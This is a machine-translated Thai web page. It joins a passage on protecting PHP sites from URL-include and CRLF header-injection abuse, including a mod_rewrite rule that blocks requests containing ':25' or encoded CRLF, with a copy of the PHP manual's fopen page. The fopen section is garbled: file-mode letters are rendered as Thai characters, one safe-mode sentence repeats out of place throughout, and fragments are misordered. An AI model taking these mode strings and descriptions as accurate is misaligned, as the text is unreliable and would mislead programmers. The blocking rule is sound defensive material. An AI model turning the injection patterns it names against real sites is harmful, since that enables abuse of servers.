สถานการณ์ที่ยากลำบากต่อไปนี้เป็นไปได้: คุณเป็นลูกค้าและผู้ดูแลระบบผู้ให้บริการโฮสต์ที่ไม่ระมัดระวังได้ป้อนการตั้งค่า php ทั้งหมดลงใน php_admin_value และไม่สามารถเปลี่ยนแปลงได้ คุณจะต้องแก้ไขโค้ดสคริปต์ วิธีที่ง่ายที่สุดคือการค้นหาไฟล์ fopen และฟังก์ชันรวม ซึ่งจะเปิดไฟล์จากชื่อตัวแปร และใช้ฟังก์ชัน str_replace เพื่อตัดคำนำหน้า http:// และ ftp:// ออก อย่างไรก็ตาม บางครั้งสคริปต์ยังจำเป็นต้องเปิดที่อยู่ที่มาจากผู้ใช้ ตัวอย่างเช่น โปรแกรมสร้างสคริปต์ที่แทรกคำหยาบคายลงในข้อความหรือแทนที่ข้อความด้วยภาษารัสเซียที่ใช้งานไม่ได้ (“เส้นทางสำหรับ nastayaschih aztsof, fsem fftykat”) ไซต์เหล่านี้อาจเป็นไซต์ที่ได้รับความเดือดร้อนมากที่สุดจากการเขียนโปรแกรมที่เลอะเทอะ ในกรณีนี้ ค่อนข้างเป็นไปได้ที่จะจำกัดตัวเองให้ตัด "\r\n" ออกจากสตริงผลลัพธ์ ในกรณีนี้ ผู้โจมตีจะไม่สามารถเพิ่มส่วนหัวของตนเองในคำขอที่คุณส่งได้

การหยุดทำงานตามคำขอที่ไม่เหมาะสม

ไคลเอนต์สแกนไซต์ของคุณเพื่อหาตัวแปรที่ไม่ได้ตรวจสอบจะสร้างการรับส่งข้อมูลที่ไม่จำเป็นและโหลดโปรเซสเซอร์ของเซิร์ฟเวอร์ เห็นได้ชัดว่าไม่จำเป็นต้องมีเพจที่ไซต์ของคุณสร้างขึ้นหากไม่ได้ทำหน้าที่เป็นพร็อกซี ขอแนะนำให้ฆ่าคำขอดังกล่าวก่อนที่จะเริ่มล่าม PHP ซึ่งสามารถทำได้โดยใช้โมดูล mod_rewrite ในไฟล์ .htaccess ที่รูทของไซต์ ฉันใส่บรรทัดต่อไปนี้:

กฎการเขียนใหม่ ((%3A|:)25|%0D%0A) - [G]

สันนิษฐานว่าไซต์จะไม่ส่งแบบฟอร์มที่มีการป้อนข้อมูลผู้ใช้หลายบรรทัดโดยใช้วิธี GET มิฉะนั้นพวกเขาจะถูกหยุดโดยกฎนี้

หากคุณใช้ mod_rewrite เพื่อรองรับการกำหนดแอดเดรสที่อ่านได้ มีแนวโน้มว่าจะไม่มีการใช้โคลอนและ CRLF ดังนั้น บรรทัด RewriteRule อื่นๆ จะไม่ตรงกับคำขอการสแกน และควรวางบรรทัดที่หยุดการประมวลผลคำขอไว้ที่ส่วนท้ายของรายการกฎจะดีกว่า จากนั้นคำขอปกติจะถูกเขียนใหม่และเปลี่ยนเส้นทางไปที่บรรทัดนี้ (ใช้แฟล็ก [L]) ซึ่งจะช่วยลดเวลาในการประมวลผล มันอาจแตกต่างกันไปขึ้นอยู่กับเงื่อนไขที่แตกต่างกัน

( PHP 4, PHP 5, PHP 7)

โฟเพน - เปิดไฟล์หรือ URL

คำอธิบาย

ทรัพยากร โฟเพน (สตริง $ชื่อไฟล์ , สตริง $mode [, บูล $use_include_path = false [, ทรัพยากร $บริบท ]])

โฟเพน()กำหนดทรัพยากรที่ระบุชื่อไว้ในอาร์กิวเมนต์ชื่อไฟล์ให้กับสตรีม

รายการพารามิเตอร์

หากชื่อไฟล์ถูกส่งในรูปแบบ "scheme://..." จะถือว่าเป็น URL และ PHP จะค้นหาตัวจัดการโปรโตคอล (หรือที่เรียกว่า "wrapper") สำหรับรูปแบบนั้น หากไม่มีการกำหนด wrapper ให้กับ โปรโตคอล PHP จะออกคำเตือนเพื่อช่วยคุณติดตามปัญหาที่อาจเกิดขึ้นในสคริปต์ของคุณ จากนั้นดำเนินการดำเนินการต่อไปราวกับว่าชื่อไฟล์ชี้ไปที่ไฟล์ปกติ

หาก PHP ตั้งชื่อไฟล์ให้ชี้ไปที่ไฟล์ในเครื่อง PHP จะพยายามเปิดสตรีมไปยังไฟล์นั้น

ไฟล์ต้องสามารถเข้าถึงได้โดย PHP ดังนั้นคุณควรตรวจสอบให้แน่ใจว่าสิทธิ์ของไฟล์อนุญาต

หากคุณเปิดใช้งานเซฟโหมดหรือ open_basedir ไว้ จะมีข้อจำกัดเพิ่มเติม:

หาก PHP กำหนดว่าชื่อไฟล์ชี้ไปที่โปรโตคอลที่ลงทะเบียน และโปรโตคอลนั้นได้รับการลงทะเบียนเป็น URL เครือข่าย PHP จะตรวจสอบสถานะของคำสั่ง Allow_url_fopen หากปิดใช้งาน PHP จะส่งคำเตือนและการเรียก fopen จะล้มเหลวความคิดเห็น รายการโปรโตคอลที่รองรับมีอยู่ในส่วนโปรโตคอลและ Wrappers ที่รองรับโปรโตคอลบางอย่าง ( เครื่องห่อ) สนับสนุน บริบท).

และ/หรือตัวเลือก php.ini

โปรดดูหน้าโปรโตคอลที่เหมาะสมเพื่อดูรายการตัวเลือกที่สามารถตั้งค่าได้
?>

(เช่นค่า php.ini

user_agent โฟเพน()ใช้โดยกระดาษห่อ
http บนแพลตฟอร์ม Windows คุณต้องหลีกเลี่ยงเครื่องหมายแบ็กสแลชทั้งหมดในเส้นทางไฟล์ หรือใช้เครื่องหมายทับข้างหน้า
$handle = fopen("c:\\folder\\resource.txt" , "r" ); เปิดไฟล์แบบอ่านอย่างเดียว วางตัวชี้ไว้ที่จุดเริ่มต้นของไฟล์
"ร+" เปิดไฟล์สำหรับการอ่านและการเขียน วางตัวชี้ไว้ที่จุดเริ่มต้นของไฟล์
"ว" เปิดไฟล์เพื่อเขียนเท่านั้น วางตัวชี้ไว้ที่จุดเริ่มต้นของไฟล์และตัดทอนไฟล์ให้มีความยาวเป็นศูนย์
หากไม่มีไฟล์อยู่ ไฟล์จะพยายามสร้างมันขึ้นมา "ว+"
เปิดไฟล์สำหรับการอ่านและการเขียน วางตัวชี้ไว้ที่จุดเริ่มต้นของไฟล์และตัดทอนไฟล์ให้มีความยาวเป็นศูนย์ หากไม่มีไฟล์อยู่ ไฟล์จะพยายามสร้างมันขึ้นมา
"ก" เปิดไฟล์เพื่อเขียนเท่านั้น วางตัวชี้ไว้ที่ส่วนท้ายของไฟล์ หากไม่มีไฟล์อยู่ ไฟล์จะพยายามสร้างมันขึ้นมา
"เอ+" เปิดไฟล์สำหรับการอ่านและการเขียน วางตัวชี้ไว้ที่ส่วนท้ายของไฟล์ หากไม่มีไฟล์อยู่ ไฟล์จะพยายามสร้างมันขึ้นมา โฟเพน()"เอ็กซ์" สร้างและเปิดเพื่อการเขียนเท่านั้น วางตัวชี้ไว้ที่จุดเริ่มต้นของไฟล์ หากมีไฟล์อยู่แล้ว ให้โทรจบลงด้วยความล้มเหลวจะกลับมา เท็จและจะทำให้เกิดข้อผิดพลาดระดับหนึ่ง E_คำเตือน- หากไม่มีไฟล์อยู่ ไฟล์จะพยายามสร้างมันขึ้นมา ซึ่งเทียบเท่ากับการระบุแฟล็ก O_EXCL|O_CREAT.
สำหรับการเรียกระบบภายใน เปิด(2) "เอ+".
"x+" สร้างและเปิดให้อ่านและเขียน มิฉะนั้นก็มีพฤติกรรมเช่นเดียวกับ "ว""ค" "เอ+"เปิดไฟล์เพื่อการเขียนเท่านั้น หากไม่มีไฟล์อยู่ ไฟล์นั้นจะถูกสร้างขึ้น หากมีไฟล์อยู่ ไฟล์นั้นจะไม่ถูกตัดทอน (ไม่เหมือนกับ) และการเรียกใช้ฟังก์ชันนี้ไม่ทำให้เกิดข้อผิดพลาด (เช่นในกรณีของ "ว"- ตัวชี้ไฟล์จะถูกตั้งค่าไว้ที่จุดเริ่มต้นของไฟล์ สิ่งนี้มีประโยชน์หากคุณต้องการล็อคไฟล์ (ดู ฝูง()) ก่อนเปลี่ยน ตั้งแต่ใช้งาน
สามารถตัดทอนไฟล์ก่อนที่จะทำการล็อคได้ (หากต้องการตัดไฟล์ก็สามารถใช้ฟังก์ชันได้ ftruncate() "x+".

หากคุณเปิดใช้งานเซฟโหมดหรือ open_basedir ไว้ จะมีข้อจำกัดเพิ่มเติม:

หลังจากการร้องขอการบล็อก) "ค+"เปิดไฟล์สำหรับการอ่านและการเขียน มิฉะนั้นก็มีพฤติกรรมเช่นเดียวกับ \ร\nระบบปฏิบัติการตระกูลต่างๆ มีรูปแบบที่แตกต่างกันเกี่ยวกับการสิ้นสุดบรรทัด เมื่อคุณเขียนข้อความและต้องการแทรกตัวแบ่งบรรทัด คุณต้องใช้อักขระที่ถูกต้อง (หรืออักขระ) สำหรับระบบปฏิบัติการของคุณ การใช้งานระบบตระกูล Unix \nเป็นอักขระสิ้นสุดบรรทัดที่ระบบตระกูล Windows ใช้

เหมือนกับการใช้อักขระลงท้ายบรรทัดและระบบ Macintosh

\r เป็นอักขระท้ายบรรทัดหากคุณใช้อักขระลงท้ายบรรทัดผิดเมื่อแก้ไขไฟล์ คุณอาจพบว่าไฟล์เหล่านั้นดู "แปลก" เมื่อคุณเปิดไฟล์เหล่านั้น "ค+" Windows เสนอการตั้งค่าสถานะโหมดการออกอากาศข้อความ ( \ร\n"ที" ) ซึ่งจะแปลโดยอัตโนมัติเพื่อบังคับใช้โหมดไบนารีซึ่งจะไม่แปลงข้อมูลของคุณ หากต้องการใช้โหมดเหล่านี้ ให้ระบุ ) ซึ่งจะแปลโดยอัตโนมัติหรือ เป็นอักขระท้ายบรรทัดตัวอักษรสุดท้ายของพารามิเตอร์โหมด

เนื่องจากการตั้งค่าสถานะการแปลเริ่มต้นขึ้นอยู่กับ SAPI และเวอร์ชันของ PHP ที่คุณใช้ เราขอแนะนำให้คุณตั้งค่าสถานะที่ระบุอย่างชัดเจนเพื่อเหตุผลในการพกพา คุณต้องใช้โหมด เป็นอักขระท้ายบรรทัดหากคุณกำลังทำงานกับไฟล์ข้อความและใช้งาน "ค+"เพื่อทำเครื่องหมายจุดสิ้นสุดของบรรทัดในสคริปต์ของคุณโดยไม่ต้องกังวลว่าไฟล์ของคุณจะอ่านได้ในแอปพลิเคชันอื่น เช่น Notepad ในกรณีอื่นๆ ทั้งหมด ให้ใช้แฟล็ก ) ซึ่งจะแปลโดยอัตโนมัติ.

หากคุณไม่ระบุแฟล็ก "b" อย่างชัดเจนเมื่อทำงานกับไฟล์ไบนารี คุณอาจพบความเสียหายของข้อมูลที่ผิดปกติ รวมถึงไฟล์รูปภาพที่เสียหายและปัญหาสัญลักษณ์แปลก ๆ \ร\n.

หากคุณเปิดใช้งานเซฟโหมดหรือ open_basedir ไว้ จะมีข้อจำกัดเพิ่มเติม:

เพื่อเหตุผลในการพกพา ขอแนะนำอย่างยิ่งให้ใช้แฟล็ก "b" เสมอเมื่อเปิดไฟล์ด้วย โฟเพน() .

หากคุณเปิดใช้งานเซฟโหมดหรือ open_basedir ไว้ จะมีข้อจำกัดเพิ่มเติม:

นอกจากนี้ ด้วยเหตุผลด้านความสามารถในการพกพา ขอแนะนำอย่างยิ่งให้เขียนโค้ดเดิมที่อาศัย เป็นอักขระท้ายบรรทัดเพื่อให้ใช้การสิ้นสุดบรรทัดและโหมดที่เหมาะสมแทน ) ซึ่งจะแปลโดยอัตโนมัติ.

use_include_path

พารามิเตอร์ทางเลือกที่สาม use_include_path สามารถตั้งค่าเป็น "1" หรือ จริงหากคุณต้องการค้นหาไฟล์ใน include_path ด้วย

บริบท

หากคุณเปิดใช้งานเซฟโหมดหรือ open_basedir ไว้ จะมีข้อจำกัดเพิ่มเติม: เพิ่มการรองรับบริบทใน PHP 5.0.0 สำหรับคำอธิบาย บริบทดูส่วนสตรีม

ส่งกลับค่า

ส่งคืนตัวชี้ไปยังไฟล์หากสำเร็จหรือ สร้างและเปิดเพื่อการเขียนเท่านั้น วางตัวชี้ไว้ที่จุดเริ่มต้นของไฟล์ หากมีไฟล์อยู่แล้ว ให้โทรในกรณีที่มีข้อผิดพลาด

ข้อผิดพลาด

หากไม่สามารถเปิดไฟล์ได้ จะเกิดข้อผิดพลาดระดับขึ้น เท็จ- คุณสามารถใช้โอเปอเรเตอร์เพื่อระงับข้อผิดพลาดนี้ได้

รายการการเปลี่ยนแปลง

ตัวอย่าง

ตัวอย่าง #1 ตัวอย่างการใช้งาน โฟเพน()

$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" );
$handle = fopen ( "ftp://ผู้ใช้: [ป้องกันอีเมล]/somefile.txt", "ว" );
?>

หมายเหตุ

ความสนใจ

เมื่อใช้ SSL Microsoft IIS จะทำลายโปรโตคอลโดยปิดการเชื่อมต่อโดยไม่ส่งตัวบ่งชี้ close_notify- PHP จะรายงานสิ่งนี้ว่า "SSL: Fatal Protocol Error" ทันทีที่คุณข้อมูลถึงจุดสิ้นสุด เพื่อแก้ไขปัญหานี้ คุณควรตั้งค่า error_reporting ให้เป็นระดับที่ไม่รวม E_WARNING PHP เวอร์ชัน 4.3.7 และเก่ากว่าสามารถตรวจพบว่ามี IIS ที่มีปัญหาในฝั่งเซิร์ฟเวอร์เมื่อเปิดสตรีมโดยใช้ wrapper https://และไม่แสดงคำเตือน หากคุณกำลังใช้ fsockopen()เพื่อสร้าง SSL://ถือเป็นความรับผิดชอบของคุณในการตรวจจับและระงับคำเตือนนี้

หากคุณเปิดใช้งานเซฟโหมดหรือ open_basedir ไว้ จะมีข้อจำกัดเพิ่มเติม: เมื่อเปิดใช้งานตัวเลือกเซฟโหมด PHP จะตรวจสอบว่าไดเร็กทอรีที่คุณกำลังจะใช้งานมี UID (เจ้าของ) เดียวกันกับสคริปต์ที่กำลังดำเนินการหรือไม่

หากคุณเปิดใช้งานเซฟโหมดหรือ open_basedir ไว้ จะมีข้อจำกัดเพิ่มเติม:

หากคุณประสบปัญหาขณะอ่านหรือเขียนไฟล์และคุณใช้ PHP เป็นโมดูลเซิร์ฟเวอร์ ตรวจสอบให้แน่ใจว่ากระบวนการของเซิร์ฟเวอร์สามารถเข้าถึงไฟล์และไดเร็กทอรีที่คุณใช้อยู่

หากคุณเปิดใช้งานเซฟโหมดหรือ open_basedir ไว้ จะมีข้อจำกัดเพิ่มเติม:

ฟังก์ชันนี้อาจประสบความสำเร็จหากชื่อไฟล์เป็นไดเร็กทอรี หากคุณไม่แน่ใจว่าชื่อไฟล์เป็นไฟล์หรือไดเร็กทอรี คุณจะต้องใช้ฟังก์ชันนี้ is_dir() โฟเพน() .